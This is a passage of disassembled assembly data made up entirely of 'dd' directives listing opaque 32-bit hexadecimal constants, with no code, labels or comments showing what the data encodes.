		dd 0A91FC400h, 1055B6CBh, 7FD72A98h, 0B99F1C90h, 0AF818AD3h
		dd 213103A8h, 3490443Eh, 0A097BE91h, 0C42307C8h, 54CEA08Dh
		dd 66D61468h, 20DF1CCEh, 0F8D0C74Bh, 1F7D3C5h, 322A2F0Ch
		dd 0E91D0381h, 0F9A18041h, 87394ABCh, 2F2B1DCBh, 75B0C06Ah
		dd 4E6CE532h, 0EF58802h, 81E1E701h, 0AF913AA4h,	603FF2C8h
		dd 71B11198h, 128141FBh, 8E846C5Bh, 46736A8Ch, 8F4C0E0Bh
		dd 592E6CFFh, 8E660F10h, 0EDE2A5B5h, 0E175B379h, 21801780h
		dd 748E67E9h, 0B71258Bh, 61C42800h, 0C0787C38h,	9C2C48DBh
		dd 0D7C05C88h, 21B5B42Bh, 0E1988BA6h, 3FF121h, 64B7B42Ch
		dd 39A2E8D2h, 2A3BF800h, 718ED006h, 9C70015Ah, 8B1072AFh
		dd 0A045D61Ch, 76339B44h, 91A96903h, 0C04C6F8Dh, 29A08A86h
		dd 901C6C3Ah, 6A582741h, 0B94842Ch, 0E495CA71h,	114B088h
		dd 81F4F317h, 0EE02F907h, 32D00840h, 284AC75h, 0B5B92C38h
		dd 0E5198AEEh, 2C415410h, 8819DF1Ch, 5C209940h,	245E7117h
		dd 0F4140A7Ah, 1F8AB923h, 0D74004ABh, 0EE0C905Ah, 0BCFC6F1Dh
		dd 1D7CD09Dh, 188D38D1h, 460E214Ah, 0E38A6E0Fh,	7056ECA2h
		dd 9A12013Eh, 9ED7AF76h, 637030A5h, 0FDD0D8ABh,	970961BBh
		dd 212F70F9h, 359D857Ch, 44447C30h, 75F2C856h, 0D8ECFE51h
		dd 0A4982C81h, 79ABC918h, 242308D9h, 0F1749532h, 2038144Ah
		dd 2780AE3Bh, 205CAA52h, 883A3845h, 0DF95F910h,	7AC2A9C7h
		dd 0B8FDAB23h, 5014AD70h, 0ECCCC041h, 4363DF4h,	9C3CFCCBh
		dd 12F9B002h, 4D1040E7h, 15B519BEh, 183E802Ah, 626F6213h
		dd 40A40DFAh, 1C0C40F8h, 0E6066Fh, 0AEE85325h, 22755E8Eh
		dd 97C9BA18h, 1833CFF8h, 0E9834E58h, 26000D65h,	965B51F5h
		dd 3E541Ch, 0F7F91BD0h,	5C4C7711h, 80FCC84Bh, 506AAC80h
		dd 9CA0CC94h, 0C918CF6Dh, 4186B88h, 0A9D0C20Fh,	5C903F94h
		dd 63096F12h, 160EC2BCh, 1B0D0024h, 0A3D3DC6Fh,	5F824109h
		dd 3004CCCEh, 0C5044DFFh, 488CD0BEh, 470096D8h,	5360C489h
		dd 4BBA552h, 0CDBD018Fh, 0E0C4BF33h, 0F610483Ah, 8A7DC095h
		dd 9003865Dh, 476A095Ch, 907FA362h, 59D3B6B0h, 0BE04F031h
		dd 0C18370DEh, 22A880A0h, 30F6F21Ch, 0CE017B3Ah, 0DBD28833h
		dd 0B853A928h, 0F4CABAh, 5361ABC6h, 974B18C9h, 827F91D0h
		dd 752CCE30h, 0AC0A2446h, 940C881Ah, 0A202A71Dh, 0E5D095BFh
		dd 80B1EE70h, 0CD7DCED9h, 0C0F9DD47h, 0F233D538h, 9801AE7Ch
		dd 1869662Eh, 18203C74h, 0F85D480Ch, 5F73B402h,	8041E9CBh
		dd 0E1DBC478h, 0A94CCA14h, 49D8C6B8h, 47E0159h,	2D67C6E1h
		dd 6D4EF007h, 51768214h, 8F06783Ch, 89EDCC36h, 0C7AE0FE8h
		dd 9AC79FC6h, 0E5ABE15Ah, 0EEA44558h, 0EC39F286h, 0C11107E2h
		dd 0C04AA403h, 0D7BC1FF5h, 970710A2h, 0CA3EB0BBh, 0C44DC307h
		dd 0AFB60258h, 615BEEF9h, 0A23A8668h, 872862C8h, 2A046C4h
		dd 94EE2DB1h, 9493D7C0h, 32522D0h, 3BE12F00h, 93AAF3FFh
		dd 21CE00C1h, 12B0A1B4h, 0BB5C631Bh, 0FA4610D4h, 4141D818h
		dd 2A003F50h, 0F2F81CBCh, 3A03357h, 0E0366184h,	0A3E81048h
		dd 0AC919CB5h, 982F0D40h, 0B85160FAh, 572A4A4Dh, 0A3D2C91Eh
		dd 329234A4h, 303DA472h, 69116FA0h, 428C12BCh, 0E9001321h
		dd 63DB2C6Dh, 159A7C5h,	0C97A52E7h, 34A5C1BBh, 0BD106BC4h
		dd 6D3FCD3Fh, 7CE94Eh, 0D5E1F576h, 7E798Dh, 0CD75B43Fh
		dd 0B3C8D47Dh, 40B55D33h, 3DCC983Bh, 6AB8A080h,	0EB7628B0h
		dd 5DAE0190h, 0A81C33EFh, 96702406h, 0C8B55F01h, 4FF507CCh
		dd 44188C35h, 94A95844h, 0E8093189h, 0F9912017h, 3BE51980h
		dd 0A20B8454h, 0A02F71AFh, 0ADD078FCh, 55B0C686h, 8C00697Dh
		dd 0E1A3E0E8h, 0F2D7F6D1h, 52A80179h, 7355EA6Bh, 6F87FC89h
		dd 0C48E0ACh, 43E0E8D4h, 0DA4F0030h, 0A6E905A7h, 0FC6F0A5Ch
		dd 25001B5h, 0E097C43Ah, 1FCCC040h, 0F881BB02h,	27530F82h
		dd 0C303960h, 7537AC9h,	0C8262DA0h, 2CF51570h, 963AB1Bh
		dd 7C242A38h, 0DA6B4740h, 0D8A2B8C0h, 0C359006Ah, 0D69092F2h
		dd 0CB13E819h, 6C01C201h, 0A481ABBCh, 3306D440h, 78036114h
		dd 3ABBAFADh, 0FB268CE3h, 8675388Ch, 0A0137C90h, 8C625BA5h
		dd 0F2277Bh, 8BEB3D8Eh,	76B1D10Fh, 13C07B37h, 0AAAB8350h
		dd 6DE0E840h, 0C487Fh, 881EDD69h, 84BFBB3Eh, 0EFF5C18h
		dd 24857131h, 0C02867D2h, 8691B5AFh, 3C00F749h,	1DB1E2C8h
		dd 43304933h, 6F059E18h, 8CE2BC67h, 1101F48Bh, 0D8646DE7h
		dd 1BA7E05Ah, 26A8554Ch, 488BE480h, 982A8861h, 0FCE9B400h
		dd 4C54BA57h, 0EAC17C8Ch, 347B9433h, 78135754h,	4405A63h
		dd 76887F1Ch, 0ADA310C6h, 0A274A75Eh, 2A65CCCCh, 1FF8291Ch
		dd 0C07D8230h, 0EE07E9C9h, 36004B21h, 0D474D5CBh, 94D0A12h
		dd 0C5BB8190h, 2A69D082h, 5206DC45h, 513029h, 467BB85Eh
		dd 4BD6A458h, 2E93Ch, 7DF89DD1h, 9D48F03Ch, 0F0410D2h
		dd 4313D61Ch, 28CCB0C4h, 25D1094Bh, 0C4B2D383h,	4CFD1482h
		dd 398E6418h, 7546A513h, 0E5DEF88h, 5856718Eh, 82A90EC1h
		dd 0CD984140h, 2DDC5043h, 0C23EDD7Ah, 0EF098046h, 0CA7DF699h
		dd 649E05ACh, 812C6BC5h, 645784E8h, 0C005731Ch,	8D139556h
		dd 0F0068412h, 13583ED6h, 8CED5117h, 0B700B990h, 751F39F5h
		dd 74277353h, 64DA3F74h, 13B35780h, 844299D6h, 4856F100h
		dd 4E6627AAh, 318F01E6h, 0F28B6712h, 2A319FDFh,	66445F00h
		dd 281C8961h, 0F2C93FDAh, 0B9100003h, 0BB654BFDh, 0EF3E7649h
		dd 0C2F1806Bh, 29AFCAFBh, 3150C028h, 343B3006h,	0DC96560Bh
		dd 0D81DFF1h, 80C6EF4Ah, 25FC4569h, 0B73D73h, 0F627182Ah
		dd 2136E175h, 372BB200h, 10F4A89Ah, 0A7B8030Bh,	0F35DD790h
		dd 82F9DAC0h, 0C751D564h, 8EEC7040h, 35135674h,	78034B05h
		dd 0E89C36ADh, 60722907h, 0DBF62865h, 0C460BAF9h, 3E90D240h
		dd 5E58C116h, 83F656C2h, 0B648AC50h, 0A78006ADh, 30AA8BC9h
		dd 0FBF99300h, 0ABE14CB4h, 94CF18CDh, 0B6F5E844h, 802F6928h
		dd 3A119700h, 4572F4F9h, 3BC400E6h, 581C6630h, 98480603h
		dd 0CE9503E1h, 73AACCFh, 99B4C40h, 1039C6D7h, 965DB10Ch
		dd 1E289155h, 0C2EF6D3Dh, 76F0F589h, 0B41813EAh, 8715636Ch
		dd 1C88F2EFh, 9B890BD6h, 0DC0C3949h, 0B0C4E419h, 0F400D2F2h
		dd 0A184203h, 54A4C9DFh, 0AB0BB0BCh, 0E5E2B89Ch, 354200AFh
		dd 9849B9D2h, 35859BEh,	0DD67144Eh, 800E84A8h, 0C230FB07h
		dd 0BCA0682Ch, 9B15B844h, 0FF8AD62Eh, 854E30Ch,	2421C056h
		dd 42C41460h, 0CA601C7Fh
		dd 0AA7F1EA9h, 43EE9Dh,	0A0BA2D02h, 81397518h, 9029DC0Ch
		dd 7E44163h, 85FB62D3h,	0E8C5814Ah, 64188068h, 75B7CFC3h
		dd 0FE560469h, 527013h,	0FDE9D530h, 0FC4B004Eh,	6A73B86Dh
		dd 580CEE7Eh, 41147BA0h, 4F7D0090h, 0F0C4D00Dh,	946F9768h
		dd 8A217808h, 554F4865h, 51E8B900h, 39D727EAh, 0A7C7D314h
		dd 8A28508Ch, 188C7652h, 80E1C2F2h, 0C18200CCh,	9F121B8Bh
		dd 0FB09792Fh, 80206ED8h, 0FDD5871Dh, 0FAF40A71h, 0C0A86530h
		dd 0D69515B2h, 0BF349A21h, 0BA002644h, 752DF115h, 9056681Eh
		dd 0C565A014h, 18D49233h, 194884A6h, 224029CAh,	4868E2CFh
		dd 0BA842C44h, 900E33F0h, 43F7497Eh, 0D72274h, 12D616D0h
		dd 0C188911Eh, 1B421401h, 0C9543351h, 1076B022h, 1A97E37h
		dd 405811FBh, 904075FEh, 1E53CB5Ch, 404A890Bh, 22CC7971h
		dd 2124D6F5h, 0CD03A48Eh, 3F5BEC18h, 9C0383E9h,	0AC087DABh
		dd 0B3D3E8E0h, 57264892h, 1706A57Fh, 3DD042C8h,	6707F8F6h
		dd 3D6DC9Fh, 48055D04h,	397BE28Bh, 0B7C38001h, 9A40BBEAh
		dd 0CBC98F5h, 41AA8F60h, 0C3053021h, 0FF8614DBh, 46192038h
		dd 0D64704C7h, 210E38F9h, 0AC2010C9h, 9A31E3B0h, 0D9DBC404h
		dd 1894ED17h, 41CE9808h, 0FE2A5F52h, 0D2035465h, 0E478BE48h
		dd 636A9070h, 39DCBB56h, 4977080Fh, 44DBC4FFh, 6E0017CFh
		dd 46D6B7Fh, 3AF9E10Ch,	6F50C2h, 0A50F6C31h, 0D5C89874h
		dd 12113D13h, 0D00B4030h, 0A32092BDh, 20B055B8h, 0D7C8440Ah
		dd 11F4EDC0h, 348A391Ch, 420C9080h, 0C577C1E0h,	0C36590C1h
		dd 0C02413DFh, 281A01B0h, 0ECE71204h, 5A0C245Fh, 0AEDCDD02h
		dd 606A1B16h, 12870DAFh, 2FEF139Ah, 7C23F0h, 6CDA7202h
		dd 0A8056E3Eh, 0D7213AEEh, 0B5C56C00h, 1490AF0Bh, 0D4F51DEAh
		dd 5202C321h, 17E268Fh,	0D7A316A6h, 3A751800h, 0C360D2D5h
		dd 0F21D12B5h, 0D40C400Eh, 6F08A18Dh, 0AE22C006h, 3059EE40h
		dd 6C994A7Ch, 0EA02A888h, 0DE4766E9h, 31304891h, 0DC6948E7h
		dd 1E8CC2BCh, 846D4AA5h, 0C06C78CFh, 2EAF3598h,	0E1C3540Eh
		dd 0CBD89898h, 0ACF4403Bh, 737E6010h, 33D1DA09h, 90E3402Eh
		dd 0B0631C6Eh, 0CBE3F661h, 0A698E849h, 19C463F0h, 0BDA060DCh
		dd 9B009A80h, 0E310BB54h, 1B02834h, 0D6611CC6h,	0BBDAE7D1h
		dd 13C4C858h, 4138B51h,	0E03A8C1Eh, 1EEB0461h, 0CBBD0434h
		dd 82677417h, 0CC09340h, 1084FA23h, 4858AAE7h, 5FD81074h
		dd 4592713Dh, 28F0435Ah, 59055472h, 0DC7FD1DBh,	0AB966C03h
		dd 2065AAF4h, 0AD5DCE06h, 463BE00Eh, 4538A2C6h,	0D3F44032h
		dd 416641B9h, 0CEF8584h, 2E7DE409h, 70DC0F49h, 0D60F11B1h
		dd 0E0EFFCD2h, 190D81FEh, 4CEC50B7h, 593D00F8h,	8A8B4079h
		dd 0A098EDA4h, 0A6E71E00h, 5B64CDAh, 4D0D623h, 0C3A602Ch
		dd 0B12B61F6h, 9EE90314h, 0F7902E5Ch, 1A000EC6h, 283769B4h
		dd 17C0A83h, 6BF620CBh,	6371D3E3h, 0A7E715B0h, 23984CA4h
		dd 4F620183h, 186CD00Ah, 6A988B44h, 6F304D4Fh, 0F4E79151h
		dd 1BE0007Ah, 75CD3772h, 0D3243BA9h, 1582285Fh,	81AF1690h
		dd 0F21826BCh, 0C3004C72h, 0CBCA79B3h, 0CCE54DABh, 0F42CBDE6h
		dd 6A119812h, 9C15BF80h, 334282D6h, 148723C0h, 2F3DA132h
		dd 123B2206h, 128CF1D2h, 236C6E38h, 0CC3A38E0h,	0FC9FCB89h
		dd 14931C48h, 43201E18h, 6C68AE10h, 60C09017h, 15D1028Ch
		dd 3492D696h, 0B9250016h, 212DA615h, 90A80DD0h,	0D12CD7F1h
		dd 0A0434C51h, 0E2D91D4Bh, 17187027h, 454180BEh, 31BAB60h
		dd 0F1550358h, 0BB9148E6h, 0F428A020h, 5F138646h, 94FD0A4Fh
		dd 417FC4F4h, 0FF4F6770h, 1CF7DE70h, 80D3E90Ah,	654DEE9Fh
		dd 40F14213h, 0E797354h, 1CE35D02h, 0E8DCCFC4h,	7C609DD8h
		dd 369904F1h, 80D43AFBh, 0DEF86708h, 0E84CC912h, 49284804h
		dd 607B8C88h, 5B53814Dh, 0D900BEE3h, 4E9F4855h,	60768622h
		dd 84C72120h, 2A002D01h, 0CB1E74F0h, 1A37A07h, 6517BFF5h
		dd 0A6EEE6FAh, 2608C070h, 0D4E20045h, 0A3ADB02Ch, 1FB4134Ch
		dd 1860D8E8h, 8FB0F71h,	91C9FCF4h, 0E71C03E4h, 86D0177Eh
		dd 74DAE170h, 192C6F98h, 0AC50E0F5h, 3B201E5h, 0EFDA644Eh
		dd 0AE1892EBh, 16E84C8h, 6DF47207h, 44FD5CDAh, 0DF30A084h
		dd 7B742A0Ch, 33E948h, 8954533Ah, 965DB51Dh, 388420B9h
		dd 0B017966h, 86BEE754h, 0F0712818h, 2EFA4AC1h,	4A23E4h
		dd 94E68690h, 0C505D873h, 6F2C3A76h, 7810F4C4h,	2C692994h
		dd 9915BE00h, 8534BAD6h, 1400DEA0h, 8EA42CC0h, 9CE5A20h
		dd 0A6EE60ADh, 0C87C0C84h, 9CF4F830h, 2100707Bh, 290478ABh
		dd 7BD27BBh, 0CAE18E8Ch, 0FA6473D0h, 0D700DCAAh, 556FE618h
		dd 0BFDCE453h, 9AFA3C2Eh, 4512B600h, 9FAD662Dh,	0DC464C24h
		dd 5BE5D685h, 0DD2E8D1h, 6DB28B10h, 9E982448h, 8A8D133Fh
		dd 0C5102018h, 0A94662DFh, 6464F0B9h, 0CCB2CD00h, 0C6F876C1h
		dd 9962E11h, 5E2B0954h,	20F3D490h, 0D2EB481Ch, 4E73F180h
		dd 0C0E85B03h, 0C9BB3B58h, 0F95C831Bh, 11331C2Ch, 0D9AE77C7h
		dd 8E5902B0h, 91683152h, 64352820h, 7540F3F4h, 0A0912Bh
		dd 662E4E07h, 0FB0070E1h, 2FE78544h, 13D2A376h,	2FF9865Ah
		dd 4A234Ch, 4F95C1B7h, 12481989h, 142A127Ch, 437C3C05h
		dd 0A8168840h, 7F12E106h, 0BA110755h, 31A4D72Fh, 40542CA6h
		dd 19AE49BCh, 0EA3740h,	946CE1BBh, 0CB54F640h, 504CAC5Dh
		dd 697A15C0h, 37137492h, 0BD01A495h, 0DA144777h, 25D148D9h
		dd 9B902185h, 0C6280A4h, 0F224F9DCh, 0DF42B8A7h, 7584024h
		dd 12BF298h, 4CE711E9h,	498981DEh, 840820ECh, 16CD0540h
		dd 2349E89Fh, 90261814h, 0A1404C7Ch, 778AF70h, 0F1CE272h
		dd 9847818Ch, 0FAF4E4D0h, 4F798C91h, 5004518h, 0C43FB28h
		dd 5DDF0C6h, 409FAE6Ah,	1C440D61h, 119D1D0h, 433A15Eh
		dd 732A4008h, 17CE1501h, 74225A7Ch, 5282D10h, 6B72EDCDh
		dd 1795BCD1h, 4FE21033h, 7B0CC30h, 0D0399159h, 7FF0608Dh
		dd 91C02C6Eh, 212823Ah,	0BC27384Bh, 7DB32400h, 740BFFC2h
		dd 8B095890h, 685749DAh, 44D0B438h, 0EF436068h,	23790C39h
		dd 0D9112749h, 0D614B600h, 1DE0BD51h, 82007D72h, 34220121h
		dd 2CF39EB1h, 5E7CED93h, 2007846h, 0DAD507DEh, 0BC9EAC1Fh
		dd 45E5C586h, 2D6F3029h, 48CDB8F1h, 61534A00h, 0CC3394E9h
		dd 57C714F7h, 212B0CAh,	0D1E310A3h, 5955D60Dh, 3C2A60F8h
		dd 2BD45E50h, 0DAB05D54h, 9AFE5200h, 496B50E7h,	0BF9F0580h
		dd 99841A8Bh, 66C02038h, 15B3048Ch, 62E2D698h, 0BB272058h
		dd 6C511E15h, 0BC0C3888h, 0ED038CE0h, 4BDDABCFh, 4154C210h
		dd 7D117748h, 3C8C5042h, 56008C62h, 0E4E19803h,	0CC2A5Eh
		dd 397606A7h, 846258A4h, 4E20D490h, 107100D3h, 83AE36E4h
		dd 0A709E308h, 107CB290h, 48BC9F68h, 6F858455h,	0CABC4050h
		dd 4C6EE7B6h, 0D9855234h, 0B9B09CB6h, 54050955h, 420348BCh
		dd 31C5C0CCh, 0DED916E0h, 0AD84EC37h, 3C3C34B4h, 9AB60B0Eh
		dd 7C8C1859h, 6731C04Ch, 0BD9027D6h, 1A3CEAF6h,	6DA4833Ah
		dd 0AAC32FAh, 624828F8h, 6E7084D0h, 75A4E0D5h, 0CC924709h
		dd 0B9488518h, 900D6823h, 9CEF4979h, 15CD58C0h,	0C3C5D600h
		dd 99591C8Bh, 69B20654h, 99497B22h, 0FC42171Eh,	0C6D87E41h
		dd 0CC2C30ADh, 0C725F512h, 0E1C9B0A0h, 0D8BA27D3h, 46625700h
		dd 0A3476460h, 0FAEA69DEh
		dd 52903C01h, 0F1E00076h, 646B5D4Ch, 0B9110201h, 845E38D5h
		dd 21E46521h, 9CD976C2h, 845A9820h, 48AD1120h, 5CFB2C9Ah
		dd 350465Eh, 45CE55FBh,	3473C17Dh, 30C1E0C4h, 75D8EF3Bh
		dd 5FE48171h, 24B7A580h, 23465C0h, 32FBE64Dh, 9C88B050h
		dd 0DE07FA97h, 0ACC6EA95h, 5F3A01Fh, 0F3BBDA65h, 0D38FF073h
		dd 8ECC661Fh, 25F04FDh,	3C062FA5h, 784788C9h, 0F318B30h
		dd 871B044Ch, 4A7058B4h, 203C5780h, 0D2605824h,	65A4240h
		dd 0D9C7C4F0h, 0B24803Eh, 1500441Eh, 0E648E412h, 805D5CB8h
		dd 0BBD5EA01h, 88529B5Bh, 0CE3137E0h, 5D08A6E3h, 6DEF9818h
		dd 0F018E119h, 9590961h, 0C42B74D7h, 4957B420h,	0ECB4E1DEh
		dd 0F2AD2106h, 81760219h, 0FC38D732h, 21658C48h, 64BDD613h
		dd 0D7C8A88Eh, 2850E9C0h, 0AC930E99h, 94445E17h, 5BA8F476h
		dd 0D8D4C502h, 0E814F211h, 0E2944C60h, 0A039F117h, 0EECB5D0Dh
		dd 16EC30C1h, 980134BBh, 7FCBD0A4h, 95882118h, 67A4009Eh
		dd 0F8C24D4h, 6209435Eh, 11D197C3h, 0D0334E00h,	0B8334FF2h
		dd 0DE1CCEh, 2984EB5Fh,	19E8D0ADh, 86CD080Fh, 0A70A8554h
		dd 9817BCB0h, 7C9B4C14h, 495C2B18h, 27FEDC14h, 26889F14h
		dd 2C7058B4h, 7CC08081h, 0E9D0104Fh, 55897318h,	0CB4FC8h
		dd 8B4366FAh, 407BDFE3h, 83C7848h, 4F4AA12h, 0B4D2BEFBh
		dd 1A400C84h, 513F00E4h, 7299D585h, 0C04C13F3h,	21C07D90h
		dd 3CA7CE16h, 95C8A04Eh, 0EFA1870h, 31DA48A8h, 663BC67Bh
		dd 0CCC90977h, 0C4088BEAh, 6DB70428h, 0C3F8EC28h, 0B290372Ch
		dd 0FD05689Eh, 0F082FA64h, 13F42891h, 89BEC58h,	87CBBDA4h
		dd 9A4026C4h, 225AA481h, 0DDFD10Bh, 0FDA4C954h,	3BC024h
		dd 0A540313Fh, 0E77BC9DFh, 372C98C2h, 287454BEh, 180650B8h
		dd 2F760473h, 814AC03Eh, 5F44ACh, 0A11DD9B0h, 38A96E98h
		dd 1849D914h, 0D2930E64h, 0FA0C8BDh, 0C08874D9h, 42B4FC13h
		dd 0A62E1C08h, 0CB1EDE88h, 254109AFh, 0AC42133Fh, 14D97878h
		dd 467C3003h, 6DEFD0A9h, 29741E7Ch, 4CE81903h, 0CCE332h
		dd 0E3F45259h, 56E49143h, 0DA474100h, 890F07D1h, 9978244Ah
		dd 0C7AA0804h, 30D0F216h, 0F66F1Dh, 17CD21A4h, 0BE89F4D4h
		dd 0FA502702h, 41F76AA8h, 69105214h, 4D28DFA1h,	0BE05E04Fh
		dd 1FA660ADh, 16C93091h, 4C282989h, 0C8D1CC6Ah,	3ED5FD00h
		dd 0BDAC3851h, 5A0A6178h, 0D4AE9A47h, 49786E15h, 0FB3C82C0h
		dd 0C3478A2h, 15E2C377h, 7CECB051h, 117B7633h, 46DDD0B7h
		dd 0C2E80FE9h, 562EE5EFh, 701A48E7h, 654C0729h,	0CBB67701h
		dd 0F56C6190h, 0EA98042Bh, 300412D6h, 0CB246BA6h, 0C0588888h
		dd 46B11339h, 6864422Ah, 660AC08h, 0C46E1417h, 652854D4h
		dd 0AF0E3C44h, 0DC119732h, 30F09642h, 0DDC36717h, 1821E890h
		dd 0D7E4071Dh, 75B6F526h, 440854Ch, 0B432582Eh,	2C51C54Ch
		dd 0BCD87CD4h, 98008C7Fh, 893D72DBh, 305F5506h,	0DCC04DDAh
		dd 32E78FC9h, 1112304h,	0CBBBA499h, 88201897h, 0A4039F94h
		dd 61A5F68h, 7C8BF9C4h,	34CA420h, 0EA0CDE78h, 0F011767Fh
		dd 3F7A49DCh, 4605ECD3h, 49754058h, 68E87D90h, 9E5C634Ch
		dd 0D2E000FAh, 0AA388DDh, 0BB8114FCh, 6729D86h,	2F9D9EFh
		dd 7829B8D8h, 0AF8290F3h, 8041E417h, 1B4E359Ch,	0DBAC0A61h
		dd 80E042C9h, 0C0823A75h, 0D84990A7h, 0EB050010h, 7CE1E4D3h
		dd 923812D2h, 46404A3h,	8890CE61h, 33B5C025h, 3E06E3F7h
		dd 47E8C6F1h, 2B6F30E1h, 51EEC229h, 379E9D00h, 92BECAE3h
		dd 59DB29D1h, 0C35E898Ch, 0D7268C72h, 3BE3901Ch, 0DAEEA1CEh
		dd 125EE091h, 0D8204728h, 59CFD004h, 484820F4h,	0C4E11A00h
		dd 0F354E903h, 0FA00A297h, 8FC0AABh, 0F832E7AEh, 0A4973017h
		dd 67CBB116h, 960C38h, 0AE3BA49Dh, 17CE13FCh, 0EB7982E9h
		dd 722445CFh, 415B60h, 2FADC510h, 14091EACh, 900FD542h
		dd 492AA9Ch, 85D7A76Eh,	10E0AD52h, 40014FC8h, 0C618CA91h
		dd 64832E7h, 5830A7CDh,	0AA763E20h, 0D22D4197h,	5D224D9Ch
		dd 0F8047A94h, 0A8209748h, 8CF99806h, 616F2D0Ch, 136920DEh
		dd 0C039AFC7h, 38D5BE08h, 0F4AD8217h, 20D1D022h, 8DC5DFF1h
		dd 950D4EB0h, 0E070C417h, 0F4807188h, 805A4A88h, 380FE004h
		dd 0D1127854h, 0A00402E6h, 8B0180AAh, 842E15B2h, 0E0296F78h
		dd 0E21080ADh, 917C1876h, 0C14F6FF9h, 319843D1h, 0E77A200Eh
		dd 1080F34Ch, 7C246C55h, 0C6BE40C0h, 6D09F213h,	0E5F983ACh
		dd 6058C468h, 26DB3685h, 42B4DF0Bh, 0C00F62DDh,	9733D3D1h
		dd 61C9059Ch, 0D207C1D6h, 48567A34h, 8EA0352Fh,	60E2146h
		dd 6131E020h, 0F334D3E4h, 80B858A9h, 1F017E22h,	0DB2A1EDAh
		dd 4070D0E4h, 0D700FF04h, 6E7E744Dh, 717598A8h,	9B5C8801h
		dd 4EF3E645h, 0F971820h, 0C04A9DF9h, 0E2DA8485h, 746701BCh
		dd 0C3F28392h, 0BC03F439h, 0C55C73BBh, 104F1CC8h, 0A1974400h
		dd 0F6ACDDC7h, 303928D6h, 5CD013E4h, 0BF5CD0ECh, 600A74Ah
		dd 5B1E6962h, 7927551h,	7A257FB3h, 0D246E08Fh, 15257640h
		dd 0E0140FF3h, 0ADD0CEC2h, 2398C533h, 0D48007F6h, 8C70D938h
		dd 4B9B6509h, 10E07371h, 33AC02D9h, 565103ABh, 42E08808h
		dd 6BCE4702h, 318080AFh, 4B0B9AE4h, 7924D896h, 23201E82h
		dd 980EB63Ch, 7DCC20FAh, 2B5C372h, 0B7A16A05h, 38E42F59h
		dd 0C1E03306h, 24C8D9CBh, 405838DAh, 916FE6FEh,	0CF946013h
		dd 86735427h, 6772BC47h, 4F0DE082h, 48826004h, 1215207Fh
		dd 3D6120A6h, 42A771A8h, 29B0302Ah, 0DC1669E8h,	480CF8C1h
		dd 9DE01986h, 3E00C93h,	2CAC3EE1h, 7A0A1896h, 0DD903C4Bh
		dd 0A4669689h, 2048F831h, 7A0161B7h, 0CA109149h, 0DDC41517h
		dd 0C8799Ch, 0CD534FD4h, 0B95E749Fh, 51010808h,	61608444h
		dd 0D076094Fh, 567A448Ch, 4E4F6907h, 6DC5F30Bh,	0AC5C6CB2h
		dd 1E8C55ACh, 40D4FA18h, 0D50BD9B0h, 217966FBh,	5CAC7F4Dh
		dd 8CD9BCA8h, 19EF8400h, 0B4E48D79h, 1DA0045h, 0D8D9E3D0h
		dd 0D34EC9A5h, 0F65A7881h, 12234C39h, 16DE9C14h, 54629FCBh
		dd 8299203Bh, 0F23C41A4h, 0AE6003Eh, 0DB03FE0Fh, 4BD8090Ch
		dd 0B004981Bh, 8CFC9092h, 915D5A45h, 6BC10898h,	0A1F20DEFh
		dd 35B841B9h, 72281031h, 0C894AB46h, 50F817D0h,	0C89BDC51h
		dd 779CBF58h, 0EBB69C83h, 494901C5h, 9ECFC292h,	10FC6D7Fh
		dd 0F87B24FDh, 1219DD49h, 0A235029Bh, 4CC5B74Dh, 0A000AC91h
		dd 8F78E0DCh, 5B5845AAh, 42728488h, 48447B47h, 0F4B55F00h
		dd 0E4CB484h, 0A854FE73h, 9600BDE9h, 0BF503367h, 0C7A4413h
		dd 0ADB9A041h, 22A5238h, 0CE700B48h, 48F1E0C2h,	0D6183BD1h
		dd 6D83621Ch, 0CCFC9CC0h, 2D4C5B86h, 0B40013E6h, 0D9AD18CDh
		dd 78D50C26h, 503A237Ch, 85503AF0h, 9F6C84C9h, 0E4F7E60h
		dd 43CCD03Fh, 8B047B22h, 8AD84F66h, 25F2BCA2h, 1374E030h
		dd 5C01872h, 8251FBA4h,	60796484h, 50187E79h, 0EFDF0E00h
		dd 6A6EDE75h, 0FFAF1363h, 8CE2ECh, 9F1CD3EAh, 166059ADh
		dd 0CDF4A852h, 9728F0E0h, 69617500h, 0BB394701h, 0F0E2057Eh
		dd 0C84C8F29h, 1F45B0C0h, 8D00A433h, 0CC955C84h, 410007F8h
		dd 7FF65F97h, 48E69087h, 422604AAh, 0C0C5A5B4h,	53607FE4h
		dd 4D0290C3h, 47757355h, 5E50509Dh, 27942233h, 77811420h
		dd 0A75501D5h, 216EE948h, 1A39FC37h, 72E7F100h,	0FFC9DBF4h
		dd 949C96A7h, 3380EC7Bh
		dd 89BB348Bh, 17B81303h, 0B8219CD3h, 286B7Ah, 3A208DF3h
		dd 0C558ECE0h, 39C141E8h, 0A07176D0h, 254CC7ECh, 7C06F5B6h
		dd 3CBE70B7h, 49465Eh, 4E1B4D19h, 5C237BF3h, 7D25D6D8h
		dd 0B643E442h, 0ACDA68A2h, 7C806C5Dh, 81C8FF2Dh, 0D1D686B8h
		dd 0E98B7971h, 0A4EDFAF1h, 0FF04667h, 690451Ch,	0DAF172A3h
		dd 0DB160805h, 70B063C1h, 62F3136Fh, 0D79CC021h, 0F4B99A09h
		dd 0C4E8BD64h, 8C79F8h,	8A0E9AC4h, 0C80FD9D6h, 0FC8E6094h
		dd 0D8D1206Ch, 5F613DEh, 0EEC3DF7Ah, 86F2039Eh,	0D2A99AF8h
		dd 0E009BCFDh, 88AEBE21h, 1D4700D5h, 0EFD0A9BDh, 0C700E684h
		dd 7EEED8F5h, 4150DFh, 0D167DD80h, 0FA0959F1h, 0BAD95B07h
		dd 18ACBC29h, 4F781DCEh, 705D0018h, 0F79796ABh,	0F02CEB00h
		dd 4A7CF46Fh, 300CF0BDh, 79107005h, 0F2072583h,	0F9DB8A59h
		dd 3C7E90ECh, 2303934Dh, 7D7A71DFh, 2774A800h, 0A22BCC6Ch
		dd 0A91806D7h, 89D859F5h, 17251C00h, 0C8BA3252h, 0E03D3BDFh
		dd 0CDF89Fh, 0ABD3EEECh, 0D036963h, 72D95AC6h, 0C3D803DAh
		dd 0D1F50B05h, 75A82F98h, 8AC4FA38h, 9089F6FCh,	544F980h
		dd 0BB96A7h, 0A2EAD173h, 681F71E0h, 91276003h, 0F1DBEDF9h
		dd 9850CC56h, 406421CAh, 70A1C5EFh, 255610D8h, 0FB740741h
		dd 818D78CDh, 8083D555h, 0FD246F10h, 67CF2B0h, 0C052D4DFh
		dd 0DC0038DEh, 0DD47951Fh, 0C0F04DEFh, 799424C1h, 2C010649h
		dd 0FC59E9F8h, 0B0407673h, 3081CA75h, 0BF79DB55h, 0C4792FE6h
